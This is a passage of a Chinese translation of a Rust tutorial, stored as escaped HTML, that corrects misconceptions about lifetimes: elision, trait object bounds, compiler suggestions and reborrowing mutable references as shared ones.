        } else {
            let byte = &amp;amp;self.remainder[0];
            self.remainder = &amp;amp;self.remainder[1..];
            Some(byte)
        }
    }
}

fn main() {
    let mut bytes = ByteIter { remainder: b&amp;quot;1123&amp;quot; };
    let byte_1 = bytes.next();
    let byte_2 = bytes.next();
    std::mem::drop(bytes); &amp;#x2F;&amp;#x2F; 我们现在甚至可以把这个迭代器给 drop 掉！
    if byte_1 == byte_2 { &amp;#x2F;&amp;#x2F; 编译通过
        &amp;#x2F;&amp;#x2F; 一些代码
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们再回过头来看看我们上一版的实现，就能看出它是错的了，那么为什么 Rust 会编译通过呢？答案很简单：因为这是内存安全的。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 借用检查器对生命周期注解的要求只到能静态验证程序的内存安全为止。即便生命周期注解有语义上的错误，Rust 也能让程序编译通过，哪怕这样做为程序带来不必要的限制。&lt;&#x2F;p&gt;
&lt;p&gt;这儿有一个和之前相反的例子：在这个例子中，Rust 生命周期省略规则标注的生命周期是语义正确的，但是我们却在无意间使用了不必要的显式注解，导致写出了一个限制极其严格的方法。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[derive(Debug)]
struct NumRef&amp;lt;&amp;#x27;a&amp;gt;(&amp;amp;&amp;#x27;a i32);

impl&amp;lt;&amp;#x27;a&amp;gt; NumRef&amp;lt;&amp;#x27;a&amp;gt; {
    &amp;#x2F;&amp;#x2F; 我定义的泛型结构体以 &amp;#x27;a 为参数，这意味着我也需要给方法的参数
    &amp;#x2F;&amp;#x2F; 标注为 &amp;#x27;a 生命周期，对吗？（答案：错）
    fn some_method(&amp;amp;&amp;#x27;a mut self) {}
}

fn main() {
    let mut num_ref = NumRef(&amp;amp;5);
    num_ref.some_method(); &amp;#x2F;&amp;#x2F; 可变借用 num_ref 直至其生命周期结束
    num_ref.some_method(); &amp;#x2F;&amp;#x2F; 编译错误
    println!(&amp;quot;{:?}&amp;quot;, num_ref); &amp;#x2F;&amp;#x2F; 同样编译错误
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们有一个带 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 泛型参数的结构体，我们几乎不可能去写一个带 &lt;code&gt;&amp;amp;&#x27;a mut self&lt;&#x2F;code&gt; 参数的方法。因为这相当于告诉 Rust “这个方法将独占借用该对象，直到对象生命周期结束”。实际上，这意味着 Rust 的借用检查器只会允许在该对象上调用至多一次 &lt;code&gt;some_method&lt;&#x2F;code&gt;, 此后该对象将一直被独占借用并会因此变得不再可用。这种用例极其罕见，但是因为这种代码能够通过编译，所以那些对生命周期还感到困惑的初学者们很容易写出这种 bug. 修复这种 bug 的方式是去除掉不必要的显式生命周期注解，让 Rust 生命周期省略规则来处理它：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[derive(Debug)]
struct NumRef&amp;lt;&amp;#x27;a&amp;gt;(&amp;amp;&amp;#x27;a i32);

impl&amp;lt;&amp;#x27;a&amp;gt; NumRef&amp;lt;&amp;#x27;a&amp;gt; {
    &amp;#x2F;&amp;#x2F; 不再给 mut self 添加 &amp;#x27;a 注解
    fn some_method(&amp;amp;mut self) {}

    &amp;#x2F;&amp;#x2F; 上一行去掉语法糖后：
    fn some_method_desugared&amp;lt;&amp;#x27;b&amp;gt;(&amp;amp;&amp;#x27;b mut self){}
}

fn main() {
    let mut num_ref = NumRef(&amp;amp;5);
    num_ref.some_method();
    num_ref.some_method(); &amp;#x2F;&amp;#x2F; 编译通过
    println!(&amp;quot;{:?}&amp;quot;, num_ref); &amp;#x2F;&amp;#x2F; 编译通过
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rust 对函数的生命周期省略规则并不保证在任何情况下都正确&lt;&#x2F;li&gt;
&lt;li&gt;在程序的语义方面，Rust 并不比你懂&lt;&#x2F;li&gt;
&lt;li&gt;可以试试给你的生命周期注解起一个有意义的名字&lt;&#x2F;li&gt;
&lt;li&gt;试着记住你在哪里添加了显式生命周期注解，以及为什么要加&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;6-yi-zhuang-xiang-de-trait-dui-xiang-bu-han-sheng-ming-zhou-qi-zhu-jie&quot;&gt;6) 已装箱的 trait 对象不含生命周期注解&lt;&#x2F;h3&gt;
&lt;p&gt;之前我们讨论了 Rust &lt;em&gt;对函数&lt;&#x2F;em&gt; 的生命周期省略规则。Rust 对 trait 对象也存在生命周期省略规则，它们是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果 trait 对象被用作泛型类型的一个类型参数，那么 trait 对象的生命周期约束会依据该类型参数的定义进行推导&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若该类型参数有唯一的生命周期约束，则将这个约束赋给 trait 对象&lt;&#x2F;li&gt;
&lt;li&gt;若该类型参数不止一个生命周期约束，则 trait 对象的生命周期约束需要显式标注&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果上面不成立，也就是说该类型参数没有生命周期约束，那么&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若 trait 定义时有且仅有一个生命周期约束，则将这个约束赋给 trait 对象&lt;&#x2F;li&gt;
&lt;li&gt;若 trait 定义时生命周期约束中存在一个 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt;, 则将 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 赋给 trait 对象&lt;&#x2F;li&gt;
&lt;li&gt;若 trait 定义时没有生命周期约束，则当 trait 对象是表达式的一部分时，生命周期从表达式中推导而出，否则赋予 `&#x27;static``&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以上这些听起来特别复杂，但是可以简单地总结为一句话“一个 trait 对象的生命周期约束从上下文推导而出。”看下面这些例子后，我们会看到生命周期约束的推导其实很符合直觉，因此我们没必要去记忆上面的规则：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::cell::Ref;

trait Trait {}

&amp;#x2F;&amp;#x2F; 展开前
type T1 = Box&amp;lt;dyn Trait&amp;gt;;
&amp;#x2F;&amp;#x2F; 展开后，Box&amp;lt;T&amp;gt; 没有对 T 的生命周期约束，所以推导为 &amp;#x27;static
type T2 = Box&amp;lt;dyn Trait + &amp;#x27;static&amp;gt;;

&amp;#x2F;&amp;#x2F; 展开前
impl dyn Trait {}
&amp;#x2F;&amp;#x2F; 展开后
impl dyn Trait + &amp;#x27;static {}

&amp;#x2F;&amp;#x2F; 展开前
type T3&amp;lt;&amp;#x27;a&amp;gt; = &amp;amp;&amp;#x27;a dyn Trait;
&amp;#x2F;&amp;#x2F; 展开后，&amp;amp;&amp;#x27;a T 要求 T: &amp;#x27;a, 所以推导为 &amp;#x27;a
type T4&amp;lt;&amp;#x27;a&amp;gt; = &amp;amp;&amp;#x27;a (dyn Trait + &amp;#x27;a);

&amp;#x2F;&amp;#x2F; 展开前
type T5&amp;lt;&amp;#x27;a&amp;gt; = Ref&amp;lt;&amp;#x27;a, dyn Trait&amp;gt;;
&amp;#x2F;&amp;#x2F; 展开后，Ref&amp;lt;&amp;#x27;a, T&amp;gt; 要求 T: &amp;#x27;a, 所以推导为 &amp;#x27;a
type T6&amp;lt;&amp;#x27;a&amp;gt; = Ref&amp;lt;&amp;#x27;a, dyn Trait + &amp;#x27;a&amp;gt;;

trait GenericTrait&amp;lt;&amp;#x27;a&amp;gt;: &amp;#x27;a {}

&amp;#x2F;&amp;#x2F; 展开前
type T7&amp;lt;&amp;#x27;a&amp;gt; = Box&amp;lt;dyn GenericTrait&amp;lt;&amp;#x27;a&amp;gt;&amp;gt;;
&amp;#x2F;&amp;#x2F; 展开后
type T8&amp;lt;&amp;#x27;a&amp;gt; = Box&amp;lt;dyn GenericTrait&amp;lt;&amp;#x27;a&amp;gt; + &amp;#x27;a&amp;gt;;

&amp;#x2F;&amp;#x2F; 展开前
impl&amp;lt;&amp;#x27;a&amp;gt; dyn GenericTrait&amp;lt;&amp;#x27;a&amp;gt; {}
&amp;#x2F;&amp;#x2F; 展开后
impl&amp;lt;&amp;#x27;a&amp;gt; dyn GenericTrait&amp;lt;&amp;#x27;a&amp;gt; + &amp;#x27;a {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一个实现了 trait 的具体类型可以被引用，因此它们也会有生命周期约束，同样其对应的 trait 对象也有生命周期约束。你也可以直接对引用实现 trait, 引用显然是有生命周期约束的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Trait {}

struct Struct {}
struct Ref&amp;lt;&amp;#x27;a, T&amp;gt;(&amp;amp;&amp;#x27;a T);

impl Trait for Struct {}
impl Trait for &amp;amp;Struct {} &amp;#x2F;&amp;#x2F; 直接为引用类型实现 Trait
impl&amp;lt;&amp;#x27;a, T&amp;gt; Trait for Ref&amp;lt;&amp;#x27;a, T&amp;gt; {} &amp;#x2F;&amp;#x2F; 为包含引用的类型实现 Trait
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总之，这个知识点值得反复理解，新手在重构一个使用 trait 对象的函数到一个泛型的函数或者反过来时，常常会因为这个知识点而感到困惑。来看看这个示例程序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn dynamic_thread_print(t: Box&amp;lt;dyn Display + Send&amp;gt;) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}

fn static_thread_print&amp;lt;T: Display + Send&amp;gt;(t: T) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里编译器报错：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0310]: the parameter type `T` may not live long enough
  --&amp;gt; src&amp;#x2F;lib.rs:10:5
   |
9  | fn static_thread_print&amp;lt;T: Display + Send&amp;gt;(t: T) {
   |                        -- help: consider adding an explicit lifetime bound...: `T: &amp;#x27;static +`
10 |     std::thread::spawn(move || {
   |     ^^^^^^^^^^^^^^^^^^
   |
note: ...so that the type `[closure@src&amp;#x2F;lib.rs:10:24: 12:6 t:T]` will meet its required lifetime bounds
  --&amp;gt; src&amp;#x2F;lib.rs:10:5
   |
10 |     std::thread::spawn(move || {
   |     ^^^^^^^^^^^^^^^^^^
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很好，编译器告诉了我们怎样修复这个问题，让我们修复一下。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn dynamic_thread_print(t: Box&amp;lt;dyn Display + Send&amp;gt;) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}

fn static_thread_print&amp;lt;T: Display + Send + &amp;#x27;static&amp;gt;(t: T) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在它编译通过了，但是这两个函数对比起来看起来挺奇怪的，为什么第二个函数要求 &lt;code&gt;T&lt;&#x2F;code&gt; 满足 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 约束而第一个函数不用呢？这是个刁钻的问题。事实上，通过生命周期省略规则，Rust 自动在第一个函数里推导并添加了一个 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 约束，所以其实两个函数都含有 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 约束。Rust 编译器实际看到的是这个样子的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn dynamic_thread_print(t: Box&amp;lt;dyn Display + Send + &amp;#x27;static&amp;gt;) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}

fn static_thread_print&amp;lt;T: Display + Send + &amp;#x27;static&amp;gt;(t: T) {
    std::thread::spawn(move || {
        println!(&amp;quot;{}&amp;quot;, t);
    }).join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键点回顾&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;所有 trait 对象都含有自动推导的生命周期&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;7-bian-yi-qi-de-bao-cuo-xin-xi-hui-gao-su-wo-zen-yang-xiu-fu-wo-de-cheng-xu&quot;&gt;7) 编译器的报错信息会告诉我怎样修复我的程序&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rust 对 trait 对象的生命周期省略规则总是正确的&lt;&#x2F;li&gt;
&lt;li&gt;Rust 比我更懂我程序的语义&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个误解是前两个误解的结合，来看一个例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn box_displayable&amp;lt;T: Display&amp;gt;(t: T) -&amp;gt; Box&amp;lt;dyn Display&amp;gt; {
    Box::new(t)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0310]: the parameter type `T` may not live long enough
 --&amp;gt; src&amp;#x2F;lib.rs:4:5
  |
3 | fn box_displayable&amp;lt;T: Display&amp;gt;(t: T) -&amp;gt; Box&amp;lt;dyn Display&amp;gt; {
  |                    -- help: consider adding an explicit lifetime bound...: `T: &amp;#x27;static +`
4 |     Box::new(t)
  |     ^^^^^^^^^^^
  |
note: ...so that the type `T` will meet its required lifetime bounds
 --&amp;gt; src&amp;#x2F;lib.rs:4:5
  |
4 |     Box::new(t)
  |     ^^^^^^^^^^^
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;好，让我们按照编译器的提示进行修复。这里我们先忽略一个事实：返回值中装箱的 trait 对象有一个自动推导的 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 约束，而编译器是基于这个没有显式说明的事实给出的修复建议。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn box_displayable&amp;lt;T: Display + &amp;#x27;static&amp;gt;(t: T) -&amp;gt; Box&amp;lt;dyn Display&amp;gt; {
    Box::new(t)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在可以编译通过了，但这真的是我们想要的吗？可能是，也可能不是，编译器并没有提到其他修复方案，但下面这个也是一个合适的修复方案。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::fmt::Display;

fn box_displayable&amp;lt;&amp;#x27;a, T: Display + &amp;#x27;a&amp;gt;(t: T) -&amp;gt; Box&amp;lt;dyn Display + &amp;#x27;a&amp;gt; {
    Box::new(t)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个函数所能接受的实际参数比前一个函数多了不少！这个函数是不是更好？确实，但不一定必要，这取决于我们对程序的要求与约束。上面这个例子有点抽象，所以让我们看一个更简单明了的例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn return_first(a: &amp;amp;str, b: &amp;amp;str) -&amp;gt; &amp;amp;str {
    a
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0106]: missing lifetime specifier
 --&amp;gt; src&amp;#x2F;lib.rs:1:38
  |
1 | fn return_first(a: &amp;amp;str, b: &amp;amp;str) -&amp;gt; &amp;amp;str {
  |                    ----     ----     ^ expected named lifetime parameter
  |
  = help: this function&amp;#x27;s return type contains a borrowed value, but the signature does not say whether it is borrowed from `a` or `b`
help: consider introducing a named lifetime parameter
  |
1 | fn return_first&amp;lt;&amp;#x27;a&amp;gt;(a: &amp;amp;&amp;#x27;a str, b: &amp;amp;&amp;#x27;a str) -&amp;gt; &amp;amp;&amp;#x27;a str {
  |                ^^^^    ^^^^^^^     ^^^^^^^     ^^^
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个错误信息推荐我们给所有输入输出都标注上同样的生命周期注解。如果我们这么做了，那么程序将通过编译，但是这样写出的函数过度限制了返回类型。我们真正想要的是这个：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn return_first&amp;lt;&amp;#x27;a&amp;gt;(a: &amp;amp;&amp;#x27;a str, b: &amp;amp;str) -&amp;gt; &amp;amp;&amp;#x27;a str {
    a
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rust 对 trait 对象的生命周期省略规则并不保证在任何情况下都正确&lt;&#x2F;li&gt;
&lt;li&gt;在程序的语义方面，Rust 并不比你懂&lt;&#x2F;li&gt;
&lt;li&gt;Rust 编译错误的提示信息所提出的修复方案并不一定能满足你对程序的需求&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;8-sheng-ming-zhou-qi-ke-yi-zai-yun-xing-shi-dong-tai-bian-chang-huo-bian-duan&quot;&gt;8) 生命周期可以在运行时动态变长或变短&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;容器类可以在运行时交换其内部的引用，从而改变自身的生命周期&lt;&#x2F;li&gt;
&lt;li&gt;Rust 借用检查器能进行高级的控制流分析&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个编译不通过：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Has&amp;lt;&amp;#x27;lifetime&amp;gt; {
    lifetime: &amp;amp;&amp;#x27;lifetime str,
}

fn main() {
    let long = String::from(&amp;quot;long&amp;quot;);
    let mut has = Has { lifetime: &amp;amp;long };
    assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);

    {
        let short = String::from(&amp;quot;short&amp;quot;);
        &amp;#x2F;&amp;#x2F; “转换到” 短的生命周期
        has.lifetime = &amp;amp;short;
        assert_eq!(has.lifetime, &amp;quot;short&amp;quot;);

        &amp;#x2F;&amp;#x2F; “转换回” 长的生命周期（实际是并不是）
        has.lifetime = &amp;amp;long;
        assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);
        &amp;#x2F;&amp;#x2F; `short` 变量在这里 drop
    }

    &amp;#x2F;&amp;#x2F; 编译失败， `short` 在 drop 后仍旧处于 “借用” 状态
    assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0597]: `short` does not live long enough
  --&amp;gt; src&amp;#x2F;main.rs:11:24
   |
11 |         has.lifetime = &amp;amp;short;
   |                        ^^^^^^ borrowed value does not live long enough
...
15 |     }
   |     - `short` dropped here while still borrowed
16 |     assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);
   |     --------------------------------- borrow later used here
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面这个还是报错，报错信息也和上面一样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Has&amp;lt;&amp;#x27;lifetime&amp;gt; {
    lifetime: &amp;amp;&amp;#x27;lifetime str,
}

fn main() {
    let long = String::from(&amp;quot;long&amp;quot;);
    let mut has = Has { lifetime: &amp;amp;long };
    assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);

    &amp;#x2F;&amp;#x2F; 这个代码块逻辑上永远不会被执行
    if false {
        let short = String::from(&amp;quot;short&amp;quot;);
        &amp;#x2F;&amp;#x2F; “转换到” 短的生命周期
        has.lifetime = &amp;amp;short;
        assert_eq!(has.lifetime, &amp;quot;short&amp;quot;);

        &amp;#x2F;&amp;#x2F; “转换回” 长的生命周期（实际是并不是）
        has.lifetime = &amp;amp;long;
        assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);
        &amp;#x2F;&amp;#x2F; `short` 变量在这里 drop
    }

    &amp;#x2F;&amp;#x2F; 还是编译失败， `short` 在 drop 后仍旧处于 “借用” 状态
    assert_eq!(has.lifetime, &amp;quot;long&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生命周期必须在编译时被静态确定，而且 Rust 借用检查器只会做基本的控制流分析，所以它假设每个 &lt;code&gt;if-else&lt;&#x2F;code&gt; 块和 &lt;code&gt;match&lt;&#x2F;code&gt; 块的每个分支都能被执行，然后选出一个最短的生命周期赋给块中的变量。一旦一个变量被一个生命周期约束了，那么它将 &lt;em&gt;永远&lt;&#x2F;em&gt; 被这个生命周期所约束。一个变量的生命周期只能缩短，而且所有的缩短时机都在编译时确定。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;生命周期在编译时被静态确定&lt;&#x2F;li&gt;
&lt;li&gt;生命周期在运行时不能被改变&lt;&#x2F;li&gt;
&lt;li&gt;Rust 借用检查器假设所有代码路径都能被执行，所以总是选择尽可能短的生命周期赋给变量&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;9-jiang-du-zhan-yin-yong-jiang-ji-wei-gong-xiang-yin-yong-shi-safe-de&quot;&gt;9) 将独占引用降级为共享引用是 safe 的&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;错误的推论&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过重借用引用内部的数据，能抹掉其原有的生命周期，然后赋一个新的上去&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你可以将一个独占引用作为参数传给一个接收共享引用的函数，因为 Rust 将隐式地重借用独占引用内部的数据，生成一个共享引用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn takes_shared_ref(n: &amp;amp;i32) {}

fn main() {
    let mut a = 10;
    takes_shared_ref(&amp;amp;mut a); &amp;#x2F;&amp;#x2F; 编译通过
    takes_shared_ref(&amp;amp;*(&amp;amp;mut a)); &amp;#x2F;&amp;#x2F; 上面那行去掉语法糖
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这在直觉上是合理的，因为将一个独占引用转换为共享引用显然是无害的，对吗？令人讶异的是，这并不对，下面的这段程序不能通过编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let mut a = 10;
    let b: &amp;amp;i32 = &amp;amp;*(&amp;amp;mut a); &amp;#x2F;&amp;#x2F; 重借用为不可变引用
    let c: &amp;amp;i32 = &amp;amp;a;
    dbg!(b, c); &amp;#x2F;&amp;#x2F; 编译失败
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0502]: cannot borrow `a` as immutable because it is also borrowed as mutable
 --&amp;gt; src&amp;#x2F;main.rs:4:19
  |
3 |     let b: &amp;amp;i32 = &amp;amp;*(&amp;amp;mut a);
  |                     -------- mutable borrow occurs here
4 |     let c: &amp;amp;i32 = &amp;amp;a;
  |                   ^^ immutable borrow occurs here
5 |     dbg!(b, c);
  |          - mutable borrow later used here
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;代码里确实有一个独占引用，但是它立即重借用变成了一个共享引用，然后自身就被 drop 掉了。但是为什么 Rust 好像把这个重借用出来的共享引用看作是有一个独占的生命周期呢？上面这个例子中，允许独占引用直接降级为共享引用是没有问题的，但是这个允许确实会导致潜在的内存安全问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::sync::Mutex;

struct Struct {
    mutex: Mutex&amp;lt;String&amp;gt;
}

impl Struct {
    &amp;#x2F;&amp;#x2F; 将 self 的独占引用降级为 str 的共享引用
    fn get_string(&amp;amp;mut self) -&amp;gt; &amp;amp;str {
        self.mutex.get_mut().unwrap()
    }
    fn mutate_string(&amp;amp;self) {
        &amp;#x2F;&amp;#x2F; 如果 Rust 允许独占引用降级为共享引用，那么下面这一行代码执行后，
        &amp;#x2F;&amp;#x2F; 所有通过 get_string 方法返回的 &amp;amp;str 都将变为非法引用
        *self.mutex.lock().unwrap() = &amp;quot;surprise!&amp;quot;.to_owned();
    }
}

fn main() {
    let mut s = Struct {
        mutex: Mutex::new(&amp;quot;string&amp;quot;.to_owned())
    };
    let str_ref = s.get_string(); &amp;#x2F;&amp;#x2F; 独占引用降级为共享引用
    s.mutate_string(); &amp;#x2F;&amp;#x2F; str_ref 失效，变成非法引用，现在是一个悬垂指针
    dbg!(str_ref); &amp;#x2F;&amp;#x2F; 当然，实际上会编译错误
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的关键点在于，你在重借用一个独占引用为共享引用时，就已经落入了一个陷阱：为了保证重借用得到的共享引用在其生命周期内有效，被重借用的独占引用也必须保证在这段时期有效，这延长了独占引用的生命周期！哪怕独占引用自身已经被 drop 掉了，但独占引用的生命周期却一直延续到共享引用的生命周期结束。&lt;&#x2F;p&gt;
&lt;p&gt;使用重借用得到的共享引用是很难受的，因为它明明是一个共享引用但是却不能和其他共享引用共存。重借用得到的共享引用有着独占引用和共享引用的缺点，却没有二者的优点。我认为重借用一个独占引用为共享引用的行为应当被视为 Rust 的一种反模式。知道这种反模式是很重要的，当你看到这样的代码时，你就能轻易地发现错误了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 将独占引用降级为共享引用
fn some_function&amp;lt;T&amp;gt;(some_arg: &amp;amp;mut T) -&amp;gt; &amp;amp;T;

struct Struct;

impl Struct {
    &amp;#x2F;&amp;#x2F; 将独占的 self 引用降级为共享的 self 引用
    fn some_method(&amp;amp;mut self) -&amp;gt; &amp;amp;self;

    &amp;#x2F;&amp;#x2F; 将独占的 self 引用降级为共享的 T 引用
    fn other_method(&amp;amp;mut self) -&amp;gt; &amp;amp;T;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
